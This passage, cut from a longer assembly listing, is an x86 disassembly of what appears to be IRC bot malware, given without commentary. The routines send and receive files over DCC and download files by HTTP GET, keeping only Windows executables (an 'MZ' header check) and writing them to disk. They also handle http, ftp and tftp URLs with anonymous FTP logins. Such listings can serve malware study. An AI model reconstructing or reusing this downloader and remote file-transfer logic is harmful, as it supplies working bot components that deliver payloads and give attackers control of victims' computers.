CODE XREF: sub_401D6E+99j push offset asc_418214 ; "\r\n" push [ebp+arg_4] call sub_416B70 ; _mbscat pop ecx pop ecx push [ebp+arg_4] call sub_401D39 pop ecx test eax, eax jnz short locret_401E36 push offset aErrorWhileExec ; "Error while executing command." push [ebp+arg_0] call sub_40D53F pop ecx pop ecx locret_401E36: ; CODE XREF: sub_401D6E+18j ; sub_401D6E+33j ... leave retn sub_401D6E endp ; --------------------------------------------------------------------------- loc_401E38: ; DATA XREF: sub_4024F3+10Bo push ebp mov ebp, esp sub esp, 604h push 3D6h push dword ptr [ebp+8] lea eax, [ebp-5E0h] push eax call sub_416B52 ; memcpy add esp, 0Ch push dword ptr [ebp+8] call sub_416B4C ; free pop ecx lea eax, [ebp-5BBh] push eax call dword_4170AC ; DeleteFileA push offset dword_4182AC lea eax, [ebp-5BBh] push eax call sub_416B88 ; fopen pop ecx pop ecx mov [ebp-5E4h], eax cmp dword ptr [ebp-5E4h], 0 jnz short loc_401EA3 push dword ptr [ebp-5E0h] call sub_409763 pop ecx xor eax, eax jmp locret_4020BE ; --------------------------------------------------------------------------- loc_401EA3: ; CODE XREF: cAddress:00401E8Ej push 2710h push 0 lea eax, [ebp-3B7h] push eax lea eax, [ebp-4B7h] push eax call sub_4050EA add esp, 10h mov [ebp-208h], eax cmp dword ptr [ebp-208h], 0 jnz short loc_401EEE push dword ptr [ebp-5E4h] call sub_416B82 ; fclose pop ecx push dword ptr [ebp-5E0h] call sub_409763 pop ecx xor eax, eax jmp locret_4020BE ; --------------------------------------------------------------------------- loc_401EEE: ; CODE XREF: cAddress:00401ECDj lea eax, [ebp-5DCh] push eax lea eax, [ebp-5BBh] push eax mov eax, [ebp-5E0h] push dword ptr [eax] push offset dword_418280 lea eax, [ebp-3ADh] push eax call sub_40D53F add esp, 14h call sub_416B64 ; clock mov [ebp-5E8h], eax and dword ptr [ebp-204h], 0 loc_401F2A: ; CODE XREF: cAddress:loc_401FD8j push 0 push 200h lea eax, [ebp-200h] push eax push dword ptr [ebp-208h] call dword_417248 ; recv mov [ebp-5F0h], eax cmp dword ptr [ebp-5F0h], 0 jz short loc_401F5F cmp dword ptr [ebp-5F0h], 200h jbe short loc_401F61 loc_401F5F: ; CODE XREF: cAddress:00401F51j jmp short loc_401FDD ; --------------------------------------------------------------------------- loc_401F61: ; CODE XREF: cAddress:00401F5Dj mov eax, [ebp-204h] add eax, [ebp-5F0h] mov [ebp-204h], eax push dword ptr [ebp-204h] call dword_41724C ; htonl mov [ebp-5F4h], eax push 4 lea eax, [ebp-5F4h] push eax push dword ptr [ebp-208h] call sub_4053BF add esp, 0Ch push dword ptr [ebp-5E4h] push dword ptr [ebp-5F0h] push 1 lea eax, [ebp-200h] push eax call sub_416B7C ; fwrite add esp, 10h cmp dword ptr [ebp-5F0h], 200h jnb short loc_401FC7 jmp short loc_401FDD ; --------------------------------------------------------------------------- loc_401FC7: ; CODE XREF: cAddress:00401FC3j mov eax, [ebp-5E0h] cmp dword ptr [eax+4], 0 jz short loc_401FD8 jmp loc_4020BC ; --------------------------------------------------------------------------- loc_401FD8: ; CODE XREF: cAddress:00401FD1j jmp loc_401F2A ; --------------------------------------------------------------------------- loc_401FDD: ; CODE XREF: cAddress:loc_401F5Fj ; cAddress:00401FC5j push dword ptr [ebp-5E4h] call sub_416B76 ; ftell pop ecx mov [ebp-5ECh], eax call sub_416B64 ; clock cmp [ebp-5E8h], eax jnz short loc_402008 call sub_416B64 ; clock dec eax mov [ebp-5E8h], eax loc_402008: ; CODE XREF: cAddress:00401FFAj mov eax, [ebp-5ECh] cdq mov ecx, 400h idiv ecx mov [ebp-5F8h], eax fild dword ptr [ebp-5F8h] fstp dword ptr [ebp-5FCh] call sub_416B64 ; clock sub eax, [ebp-5E8h] mov [ebp-600h], eax fild dword ptr [ebp-600h] fdiv flt_417270 fdivr dword ptr [ebp-5FCh] push ecx push ecx fstp qword ptr [esp] call sub_416B64 ; clock sub eax, [ebp-5E8h] mov [ebp-604h], eax fild dword ptr [ebp-604h] fdiv flt_417270 push ecx push ecx fstp qword ptr [esp] lea eax, [ebp-5DCh] push eax lea eax, [ebp-5BBh] push eax push offset dword_418234 lea eax, [ebp-3ADh] push eax call sub_40D53F add esp, 20h loc_402094: ; CODE XREF: cAddress:loc_4020BCj push dword ptr [ebp-5E4h] call sub_416B82 ; fclose pop ecx push dword ptr [ebp-208h] call sub_40538D pop ecx push dword ptr [ebp-5E0h] call sub_409763 pop ecx xor eax, eax jmp short locret_4020BE ; --------------------------------------------------------------------------- loc_4020BC: ; CODE XREF: cAddress:00401FD3j jmp short loc_402094 ; --------------------------------------------------------------------------- locret_4020BE: ; CODE XREF: cAddress:00401E9Ej ; cAddress:00401EE9j ... leave retn 4 ; --------------------------------------------------------------------------- loc_4020C2: ; DATA XREF: sub_40260D+7Co push ebp mov ebp, esp sub esp, 0A1Ch push 2CCh push dword ptr [ebp+8] lea eax, [ebp-8E4h] push eax call sub_416B52 ; memcpy add esp, 0Ch push dword ptr [ebp+8] call sub_416B4C ; free pop ecx lea eax, [ebp-8BFh] push eax call sub_416B40 ; strlen pop ecx mov [ebp-9F8h], eax jmp short loc_40210D ; --------------------------------------------------------------------------- loc_402100: ; CODE XREF: cAddress:loc_40215Ej mov eax, [ebp-9F8h] dec eax mov [ebp-9F8h], eax loc_40210D: ; CODE XREF: cAddress:004020FEj cmp dword ptr [ebp-9F8h], 0 jnz short loc_40212D lea eax, [ebp-8BFh] push eax lea eax, [ebp-9F0h] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_402160 ; --------------------------------------------------------------------------- loc_40212D: ; CODE XREF: cAddress:00402114j mov eax, [ebp-9F8h] movsx eax, byte ptr [ebp+eax-8BFh] cmp eax, 5Ch jnz short loc_40215E mov eax, [ebp-9F8h] lea eax, [ebp+eax-8BEh] push eax lea eax, [ebp-9F0h] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_402160 ; --------------------------------------------------------------------------- loc_40215E: ; CODE XREF: cAddress:0040213Ej jmp short loc_402100 ; --------------------------------------------------------------------------- loc_402160: ; CODE XREF: cAddress:0040212Bj ; cAddress:0040215Cj mov dword ptr [ebp-8E8h], 10h lea eax, [ebp-8E8h] push eax lea eax, [ebp-10h] push eax call sub_40CF25 push eax call dword_417240 ; getsockname push 2 push 0 push 0 push 401h lea eax, [ebp-614h] push eax push dword ptr [ebp-8E8h] lea eax, [ebp-10h] push eax call dword_41DE58 ; getnameinfo test eax, eax jz short loc_4021BA push dword ptr [ebp-8E4h] call sub_409763 pop ecx xor eax, eax jmp locret_4024EF ; --------------------------------------------------------------------------- loc_4021BA: ; CODE XREF: cAddress:004021A5j push 0Ah lea eax, [ebp-0A04h] push eax push 1388h push 400h call sub_4103F5 pop ecx pop ecx push eax call sub_416F7A ; _itoa add esp, 0Ch push 1 lea eax, [ebp-0A04h] push eax call sub_4046BC pop ecx pop ecx mov [ebp-9FCh], eax cmp dword ptr [ebp-9FCh], 0 jnz short loc_40220F push dword ptr [ebp-8E4h] call sub_409763 pop ecx xor eax, eax jmp locret_4024EF ; --------------------------------------------------------------------------- loc_40220F: ; CODE XREF: cAddress:004021FAj push offset aRb ; "rb" lea eax, [ebp-8BFh] push eax call sub_416B88 ; fopen pop ecx pop ecx mov [ebp-8ECh], eax cmp dword ptr [ebp-8ECh], 0 jnz short loc_402250 push dword ptr [ebp-9FCh] call sub_404CBB pop ecx push dword ptr [ebp-8E4h] call sub_409763 pop ecx xor eax, eax jmp locret_4024EF ; --------------------------------------------------------------------------- loc_402250: ; CODE XREF: cAddress:0040222Fj push 2 push 0 push dword ptr [ebp-8ECh] call sub_416B96 ; fseek add esp, 0Ch push dword ptr [ebp-8ECh] call sub_416B76 ; ftell pop ecx mov [ebp-0A08h], eax push 0 push 0 push dword ptr [ebp-8ECh] call sub_416B96 ; fseek add esp, 0Ch lea eax, [ebp-614h] push eax lea eax, [ebp-9F0h] push eax push offset aDccSendSS ; "DCC Send %s (%s)" lea eax, [ebp-8E0h] push eax call sub_40D420 add esp, 10h push dword ptr [ebp-0A08h] lea eax, [ebp-0A04h] push eax lea eax, [ebp-614h] push eax call dword_417244 ; inet_addr push eax call dword_41724C ; htonl push eax lea eax, [ebp-9F0h] push eax push offset dword_418348 lea eax, [ebp-8E0h] push eax call sub_40D4AB add esp, 18h push 0EA60h push dword ptr [ebp-9FCh] call sub_4048EF pop ecx pop ecx mov [ebp-618h], eax cmp dword ptr [ebp-618h], 0 jz short loc_40230F cmp dword ptr [ebp-618h], 0FFFFFFFFh jnz short loc_40233A loc_40230F: ; CODE XREF: cAddress:00402304j push dword ptr [ebp-8ECh] call sub_416B82 ; fclose pop ecx push dword ptr [ebp-9FCh] call sub_404CBB pop ecx push dword ptr [ebp-8E4h] call sub_409763 pop ecx xor eax, eax jmp locret_4024EF ; --------------------------------------------------------------------------- loc_40233A: ; CODE XREF: cAddress:0040230Dj lea eax, [ebp-8E0h] push eax lea eax, [ebp-9F0h] push eax mov eax, [ebp-8E4h] push dword ptr [eax] push offset dword_418320 lea eax, [ebp-7BBh] push eax call sub_40D53F add esp, 14h call sub_416B64 ; clock mov [ebp-9F4h], eax loc_40236F: ; CODE XREF: cAddress:loc_40240Dj push dword ptr [ebp-8ECh] push 200h push 1 lea eax, [ebp-210h] push eax call sub_416B90 ; fread add esp, 10h mov [ebp-0A0Ch], eax cmp dword ptr [ebp-0A0Ch], 0 jz short loc_4023A6 cmp dword ptr [ebp-0A0Ch], 200h jbe short loc_4023A8 loc_4023A6: ; CODE XREF: cAddress:00402398j jmp short loc_402412 ; --------------------------------------------------------------------------- loc_4023A8: ; CODE XREF: cAddress:004023A4j push dword ptr [ebp-0A0Ch] lea eax, [ebp-210h] push eax push dword ptr [ebp-618h] call sub_4053BF add esp, 0Ch test eax, eax jnz short loc_4023EE lea eax, [ebp-8E0h] push eax lea eax, [ebp-9F0h] push eax push offset dword_4182F4 lea eax, [ebp-7BBh] push eax call sub_40D53F add esp, 10h jmp loc_4024ED ; --------------------------------------------------------------------------- loc_4023EE: ; CODE XREF: cAddress:004023C5j cmp dword ptr [ebp-0A0Ch], 200h jnb short loc_4023FC jmp short loc_402412 ; --------------------------------------------------------------------------- loc_4023FC: ; CODE XREF: cAddress:004023F8j mov eax, [ebp-8E4h] cmp dword ptr [eax+4], 0 jz short loc_40240D jmp loc_4024EB ; --------------------------------------------------------------------------- loc_40240D: ; CODE XREF: cAddress:00402406j jmp loc_40236F ; --------------------------------------------------------------------------- loc_402412: ; CODE XREF: cAddress:loc_4023A6j ; cAddress:004023FAj call sub_416B64 ; clock cmp [ebp-9F4h], eax jnz short loc_40242B call sub_416B64 ; clock dec eax mov [ebp-9F4h], eax loc_40242B: ; CODE XREF: cAddress:0040241Dj mov eax, [ebp-0A08h] cdq mov ecx, 400h idiv ecx mov [ebp-0A10h], eax fild dword ptr [ebp-0A10h] fstp dword ptr [ebp-0A14h] call sub_416B64 ; clock sub eax, [ebp-9F4h] mov [ebp-0A18h], eax fild dword ptr [ebp-0A18h] fdiv flt_417270 fdivr dword ptr [ebp-0A14h] push ecx push ecx fstp qword ptr [esp] call sub_416B64 ; clock sub eax, [ebp-9F4h] mov [ebp-0A1Ch], eax fild dword ptr [ebp-0A1Ch] fdiv flt_417270 push ecx push ecx fstp qword ptr [esp] lea eax, [ebp-8E0h] push eax lea eax, [ebp-9F0h] push eax push offset dword_4182B0 lea eax, [ebp-7BBh] push eax call sub_40D53F add esp, 20h loc_4024B7: ; CODE XREF: cAddress:loc_4024EBj ; cAddress:loc_4024EDj push dword ptr [ebp-618h] call sub_40538D pop ecx push dword ptr [ebp-8ECh] call sub_416B82 ; fclose pop ecx push dword ptr [ebp-9FCh] call sub_404CBB pop ecx push dword ptr [ebp-8E4h] call sub_409763 pop ecx xor eax, eax jmp short locret_4024EF ; --------------------------------------------------------------------------- loc_4024EB: ; CODE XREF: cAddress:00402408j jmp short loc_4024B7 ; --------------------------------------------------------------------------- loc_4024ED: ; CODE XREF: cAddress:004023E9j jmp short loc_4024B7 ; --------------------------------------------------------------------------- locret_4024EF: ; CODE XREF: cAddress:004021B5j ; cAddress:0040220Aj ... leave retn 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4024F3 proc near ; CODE XREF: sub_40D871+203p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 0Ch cmp [ebp+arg_4], 0 jz short loc_402511 cmp [ebp+arg_8], 0 jz short loc_402511 cmp [ebp+arg_C], 0 jz short loc_402511 cmp [ebp+arg_10], 0 jnz short loc_402516 loc_402511: ; CODE XREF: sub_4024F3+Aj ; sub_4024F3+10j ... jmp locret_40260B ; --------------------------------------------------------------------------- loc_402516: ; CODE XREF: sub_4024F3+1Cj push [ebp+arg_10] call sub_416B9C ; atoi pop ecx mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_402531 cmp [ebp+var_8], 0FFFFh jbe short loc_402536 loc_402531: ; CODE XREF: sub_4024F3+33j jmp locret_40260B ; --------------------------------------------------------------------------- loc_402536: ; CODE XREF: sub_4024F3+3Cj push [ebp+arg_14] call sub_416B9C ; atoi pop ecx mov [ebp+var_C], eax cmp [ebp+var_C], 0 jz short loc_402551 cmp [ebp+var_8], 40000000h jbe short loc_402556 loc_402551: ; CODE XREF: sub_4024F3+53j jmp locret_40260B ; --------------------------------------------------------------------------- loc_402556: ; CODE XREF: sub_4024F3+5Cj push 3D6h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_40256F jmp locret_40260B ; --------------------------------------------------------------------------- loc_40256F: ; CODE XREF: sub_4024F3+75j push 21h push [ebp+arg_4] mov eax, [ebp+var_4] add eax, 4 push eax call sub_416B58 ; strncpy add esp, 0Ch push 104h push [ebp+arg_8] mov eax, [ebp+var_4] add eax, 25h push eax call sub_416B58 ; strncpy add esp, 0Ch push 100h push [ebp+arg_C] mov eax, [ebp+var_4] add eax, 129h push eax call sub_416B58 ; strncpy add esp, 0Ch push 6 push [ebp+arg_10] mov eax, [ebp+var_4] add eax, 229h push eax call sub_416B58 ; strncpy add esp, 0Ch mov eax, [ebp+var_4] mov ecx, [ebp+var_C] mov [eax+22Fh], ecx push 1A3h push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 233h push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_4] push [ebp+arg_8] push offset dword_41837C push 0 push [ebp+var_4] push offset loc_401E38 call sub_4095A4 add esp, 18h locret_40260B: ; CODE XREF: sub_4024F3:loc_402511j ; sub_4024F3:loc_402531j ... leave retn sub_4024F3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40260D proc near ; CODE XREF: sub_40A9CF+98Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx cmp [ebp+arg_4], 0 jz short loc_40261D cmp [ebp+arg_8], 0 jnz short loc_40261F loc_40261D: ; CODE XREF: sub_40260D+8j jmp short locret_402696 ; --------------------------------------------------------------------------- loc_40261F: ; CODE XREF: sub_40260D+Ej push 2CCh call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_402635 jmp short locret_402696 ; --------------------------------------------------------------------------- loc_402635: ; CODE XREF: sub_40260D+24j push 21h push [ebp+arg_4] mov eax, [ebp+var_4] add eax, 4 push eax call sub_416B58 ; strncpy add esp, 0Ch push 104h push [ebp+arg_8] mov eax, [ebp+var_4] add eax, 25h push eax call sub_416B58 ; strncpy add esp, 0Ch push 1A3h push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 129h push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_4] push [ebp+arg_8] push offset dword_4183A0 push 0 push [ebp+var_4] push offset loc_4020C2 call sub_4095A4 add esp, 18h locret_402696: ; CODE XREF: sub_40260D:loc_40261Dj ; sub_40260D+26j leave retn sub_40260D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402698 proc near ; CODE XREF: cAddress:00402FFBp var_420 = dword ptr -420h var_41C = dword ptr -41Ch var_418 = dword ptr -418h var_414 = dword ptr -414h var_410 = dword ptr -410h var_40C = dword ptr -40Ch var_408 = dword ptr -408h var_404 = byte ptr -404h arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h push ebp mov ebp, esp sub esp, 420h push 2710h push 0 push [ebp+arg_C] push [ebp+arg_8] call sub_4050EA add esp, 10h mov [ebp+var_414], eax cmp [ebp+var_414], 0 jnz short loc_4026CC xor eax, eax jmp locret_402A22 ; --------------------------------------------------------------------------- loc_4026CC: ; CODE XREF: sub_402698+2Bj push [ebp+arg_8] push [ebp+arg_10] push offset aGetSHttp1_0Hos ; "GET /%s HTTP/1.0\r\nHost: %s\r\n\r\n" push 401h lea eax, [ebp+var_404] push eax call sub_416BAE ; _snprintf add esp, 14h lea eax, [ebp+var_404] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_404] push eax push [ebp+var_414] call sub_4053BF add esp, 0Ch push 2710h push 401h lea eax, [ebp+var_404] push eax push [ebp+var_414] call sub_405443 add esp, 10h mov [ebp+var_420], eax cmp [ebp+var_420], 0 jz short loc_402745 cmp [ebp+var_420], 0FFFFFFFFh jnz short loc_402758 loc_402745: ; CODE XREF: sub_402698+A2j push [ebp+var_414] call sub_40538D pop ecx xor eax, eax jmp locret_402A22 ; --------------------------------------------------------------------------- loc_402758: ; CODE XREF: sub_402698+ABj push offset asc_4183EC ; "\r\n\r\n" lea eax, [ebp+var_404] push eax call sub_416BA8 ; strstr pop ecx pop ecx mov [ebp+var_410], eax cmp [ebp+var_410], 0 jnz short loc_40278D push [ebp+var_414] call sub_40538D pop ecx xor eax, eax jmp locret_402A22 ; --------------------------------------------------------------------------- loc_40278D: ; CODE XREF: sub_402698+E0j mov eax, [ebp+var_410] add eax, 4 mov [ebp+var_410], eax push offset aContentLength ; "Content-Length: " lea eax, [ebp+var_404] push eax call sub_416BA8 ; strstr pop ecx pop ecx mov [ebp+var_40C], eax cmp [ebp+var_40C], 0 jz short loc_4027CC mov eax, [ebp+var_40C] cmp eax, [ebp+var_410] jbe short loc_4027DF loc_4027CC: ; CODE XREF: sub_402698+124j push [ebp+var_414] call sub_40538D pop ecx xor eax, eax jmp locret_402A22 ; --------------------------------------------------------------------------- loc_4027DF: ; CODE XREF: sub_402698+132j and [ebp+var_41C], 0 lea eax, [ebp+var_41C] push eax push offset aContentLengthU ; "Content-Length: %u\r\n" push [ebp+var_40C] call sub_416BA2 ; sscanf add esp, 0Ch mov [ebp+var_408], eax cmp [ebp+var_408], 1 jnz short loc_402818 cmp [ebp+var_41C], 0 jnz short loc_40282B loc_402818: ; CODE XREF: sub_402698+175j push [ebp+var_414] call sub_40538D pop ecx xor eax, eax jmp locret_402A22 ; --------------------------------------------------------------------------- loc_40282B: ; CODE XREF: sub_402698+17Ej cmp [ebp+arg_1C], 0 jz short loc_40285D cmp [ebp+var_41C], 2 jb short loc_40284A mov eax, [ebp+var_410] movzx eax, word ptr [eax] cmp eax, 5A4Dh jz short loc_40285D loc_40284A: ; CODE XREF: sub_402698+1A0j push [ebp+var_414] call sub_40538D pop ecx xor eax, eax jmp locret_402A22 ; --------------------------------------------------------------------------- loc_40285D: ; CODE XREF: sub_402698+197j ; sub_402698+1B0j cmp [ebp+arg_18], 0 jz short loc_40286E mov eax, [ebp+arg_18] mov ecx, [ebp+var_41C] mov [eax], ecx loc_40286E: ; CODE XREF: sub_402698+1C9j push [ebp+arg_14] call sub_4167B9 pop ecx test eax, eax jz short loc_40288E push [ebp+var_414] call sub_40538D pop ecx xor eax, eax jmp locret_402A22 ; --------------------------------------------------------------------------- loc_40288E: ; CODE XREF: sub_402698+1E1j push offset dword_4182AC push [ebp+arg_14] call sub_416B88 ; fopen pop ecx pop ecx mov [ebp+var_418], eax cmp [ebp+var_418], 0 jnz short loc_4028BF push [ebp+var_414] call sub_40538D pop ecx xor eax, eax jmp locret_402A22 ; --------------------------------------------------------------------------- loc_4028BF: ; CODE XREF: sub_402698+212j push [ebp+var_418] mov eax, [ebp+var_410] lea ecx, [ebp+var_404] sub eax, ecx mov ecx, [ebp+var_420] sub ecx, eax push ecx push 1 push [ebp+var_410] call sub_416B7C ; fwrite add esp, 10h mov eax, [ebp+var_410] lea ecx, [ebp+var_404] sub eax, ecx mov ecx, [ebp+var_420] sub ecx, eax mov eax, [ebp+var_41C] sub eax, ecx mov [ebp+var_41C], eax loc_402910: ; CODE XREF: sub_402698:loc_402A1Dj cmp [ebp+arg_20], 0 jz short loc_40293F mov eax, [ebp+arg_20] cmp dword ptr [eax+4], 0 jz short loc_40293F push [ebp+var_418] call sub_416B82 ; fclose pop ecx push [ebp+var_414] call sub_40538D pop ecx push 1 pop eax jmp locret_402A22 ; --------------------------------------------------------------------------- loc_40293F: ; CODE XREF: sub_402698+27Cj ; sub_402698+285j push 2710h push 401h lea eax, [ebp+var_404] push eax push [ebp+var_414] call sub_405443 add esp, 10h mov [ebp+var_420], eax cmp [ebp+var_420], 0 jz short loc_402976 cmp [ebp+var_420], 0FFFFFFFFh jnz short loc_40299E loc_402976: ; CODE XREF: sub_402698+2D3j push [ebp+var_418] call sub_416B82 ; fclose pop ecx push [ebp+var_414] call sub_40538D pop ecx push [ebp+arg_14] call dword_4170AC ; DeleteFileA xor eax, eax jmp locret_402A22 ; --------------------------------------------------------------------------- loc_40299E: ; CODE XREF: sub_402698+2DCj mov eax, [ebp+var_420] cmp eax, [ebp+var_41C] jbe short loc_4029C8 push [ebp+var_418] call sub_416B82 ; fclose pop ecx push [ebp+var_414] call sub_40538D pop ecx xor eax, eax jmp short locret_402A22 ; --------------------------------------------------------------------------- loc_4029C8: ; CODE XREF: sub_402698+312j push [ebp+var_418] push [ebp+var_420] push 1 lea eax, [ebp+var_404] push eax call sub_416B7C ; fwrite add esp, 10h mov eax, [ebp+var_41C] sub eax, [ebp+var_420] mov [ebp+var_41C], eax cmp [ebp+var_41C], 0 jnz short loc_402A1D push [ebp+var_418] call sub_416B82 ; fclose pop ecx push [ebp+var_414] call sub_40538D pop ecx push 1 pop eax jmp short locret_402A22 ; --------------------------------------------------------------------------- loc_402A1D: ; CODE XREF: sub_402698+366j jmp loc_402910 ; --------------------------------------------------------------------------- locret_402A22: ; CODE XREF: sub_402698+2Fj ; sub_402698+BBj ... leave retn sub_402698 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402A24 proc near ; CODE XREF: cAddress:00403057p push ebp mov ebp, esp xor eax, eax pop ebp retn sub_402A24 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402A2B proc near ; CODE XREF: cAddress:004030A5p push ebp mov ebp, esp xor eax, eax pop ebp retn sub_402A2B endp ; --------------------------------------------------------------------------- loc_402A32: ; DATA XREF: sub_403260+BCo push ebp mov ebp, esp sub esp, 804h push edi push 3AFh push dword ptr [ebp+8] lea eax, [ebp-63Ch] push eax call sub_416B52 ; memcpy add esp, 0Ch push dword ptr [ebp+8] call sub_416B4C ; free pop ecx lea eax, [ebp-638h] push eax lea eax, [ebp-7DCh] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx and dword ptr [ebp-288h], 0 mov dword ptr [ebp-28Ch], 1 and dword ptr [ebp-6CCh], 0 mov al, byte_41DE00 mov [ebp-284h], al push 1Fh pop ecx xor eax, eax lea edi, [ebp-283h] rep stosd stosw stosb mov al, byte_41DE00 mov [ebp-6BCh], al push 1Fh pop ecx xor eax, eax lea edi, [ebp-6BBh] rep stosd stosw stosb and dword ptr [ebp-6C8h], 0 lea eax, [ebp-534h] push eax lea eax, [ebp-7DCh] push eax mov eax, [ebp-63Ch] push dword ptr [eax] push offset dword_4185CC lea eax, [ebp-430h] push eax call sub_40D53F add esp, 14h push 7 push offset aFile ; "file://" lea eax, [ebp-638h] push eax call sub_416F80 ; _strnicmp add esp, 0Ch test eax, eax jnz loc_402B93 push 0 lea eax, [ebp-534h] push eax lea eax, [ebp-631h] push eax call dword_417060 ; CopyFileA test eax, eax jnz short loc_402B8E call dword_417064 ; RtlGetLastWin32Error cmp eax, 20h jnz short loc_402B58 lea eax, [ebp-534h] push eax mov eax, [ebp-63Ch] push dword ptr [eax] push offset dword_41858C lea eax, [ebp-430h] push eax call sub_40D53F add esp, 10h jmp short loc_402B7B ; --------------------------------------------------------------------------- loc_402B58: ; CODE XREF: cAddress:00402B31j lea eax, [ebp-631h] push eax mov eax, [ebp-63Ch] push dword ptr [eax] push offset dword_41855C lea eax, [ebp-430h] push eax call sub_40D53F add esp, 10h loc_402B7B: ; CODE XREF: cAddress:00402B56j push dword ptr [ebp-63Ch] call sub_409763 pop ecx xor eax, eax jmp loc_40325B ; --------------------------------------------------------------------------- loc_402B8E: ; CODE XREF: cAddress:00402B26j jmp loc_403256 ; --------------------------------------------------------------------------- loc_402B93: ; CODE XREF: cAddress:00402B08j lea eax, [ebp-638h] push eax call sub_416B40 ; strlen pop ecx mov [ebp-6C0h], eax jmp short loc_402BB5 ; --------------------------------------------------------------------------- loc_402BA8: ; CODE XREF: cAddress:loc_402CD8j mov eax, [ebp-6C0h] dec eax mov [ebp-6C0h], eax loc_402BB5: ; CODE XREF: cAddress:00402BA6j cmp dword ptr [ebp-6C0h], 0FFFFFFFFh jz loc_402CDD mov eax, [ebp-6C0h] movsx eax, byte ptr [ebp+eax-638h] cmp eax, 3Ah jnz loc_402CD8 mov dword ptr [ebp-7E0h], 1 jmp short loc_402BF2 ; --------------------------------------------------------------------------- loc_402BE5: ; CODE XREF: cAddress:loc_402CD3j mov eax, [ebp-7E0h] inc eax mov [ebp-7E0h], eax loc_402BF2: ; CODE XREF: cAddress:00402BE3j mov eax, [ebp-6C0h] add eax, [ebp-7E0h] movsx eax, byte ptr [ebp+eax-638h] test eax, eax jz short loc_402C23 mov eax, [ebp-6C0h] add eax, [ebp-7E0h] movsx eax, byte ptr [ebp+eax-638h] cmp eax, 2Fh jnz short loc_402C7A loc_402C23: ; CODE XREF: cAddress:00402C08j mov eax, [ebp-7E0h] and byte ptr [ebp+eax-6D5h], 0 lea eax, [ebp-6D4h] push eax call sub_40422A pop ecx test eax, eax jz short loc_402C75 mov eax, [ebp-6C0h] lea eax, [ebp+eax-638h] add eax, [ebp-7E0h] push eax mov eax, [ebp-6C0h] lea eax, [ebp+eax-638h] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx mov dword ptr [ebp-6C8h], 1 loc_402C75: ; CODE XREF: cAddress:00402C40j jmp loc_403251 ; --------------------------------------------------------------------------- loc_402C7A: ; CODE XREF: cAddress:00402C21j mov eax, [ebp-6C0h] add eax, [ebp-7E0h] movsx eax, byte ptr [ebp+eax-638h] cmp eax, 30h jl short loc_402CCE mov eax, [ebp-6C0h] add eax, [ebp-7E0h] movsx eax, byte ptr [ebp+eax-638h] cmp eax, 39h jg short loc_402CCE mov eax, [ebp-6C0h] add eax, [ebp-7E0h] mov ecx, [ebp-7E0h] mov al, [ebp+eax-638h] mov [ebp+ecx-6D5h], al jmp short loc_402CD3 ; --------------------------------------------------------------------------- loc_402CCE: ; CODE XREF: cAddress:00402C91j ; cAddress:00402CAAj jmp loc_40324C ; --------------------------------------------------------------------------- loc_402CD3: ; CODE XREF: cAddress:00402CCCj jmp loc_402BE5 ; --------------------------------------------------------------------------- loc_402CD8: ; CODE XREF: cAddress:00402BD3j jmp loc_402BA8 ; --------------------------------------------------------------------------- loc_402CDD: ; CODE XREF: cAddress:00402BBCj ; cAddress:loc_40324Cj ... push 7 push offset aHttp ; "http://" lea eax, [ebp-638h] push eax call sub_416F80 ; _strnicmp add esp, 0Ch test eax, eax jnz short loc_402D37 cmp dword ptr [ebp-6C8h], 0 jnz short loc_402D13 push offset a80 ; "80" lea eax, [ebp-6D4h] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx loc_402D13: ; CODE XREF: cAddress:00402CFEj lea eax, [ebp-631h] push eax lea eax, [ebp-638h] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx mov dword ptr [ebp-6CCh], 1 jmp loc_402E3D ; --------------------------------------------------------------------------- loc_402D37: ; CODE XREF: cAddress:00402CF5j push 6 push offset aFtp ; "ftp://" lea eax, [ebp-638h] push eax call sub_416F80 ; _strnicmp add esp, 0Ch test eax, eax jnz short loc_402DB7 cmp dword ptr [ebp-6C8h], 0 jnz short loc_402D6D push offset a21 ; "21" lea eax, [ebp-6D4h] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx loc_402D6D: ; CODE XREF: cAddress:00402D58j lea eax, [ebp-632h] push eax lea eax, [ebp-638h] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx mov dword ptr [ebp-6CCh], 2 push offset aAnonymous ; "anonymous" lea eax, [ebp-284h] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx push offset aAnonymous ; "anonymous" lea eax, [ebp-6BCh] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx jmp loc_402E3D ; --------------------------------------------------------------------------- loc_402DB7: ; CODE XREF: cAddress:00402D4Fj push 7 push offset aTftp ; "tftp://" lea eax, [ebp-638h] push eax call sub_416F80 ; _strnicmp add esp, 0Ch test eax, eax jnz short loc_402E0E cmp dword 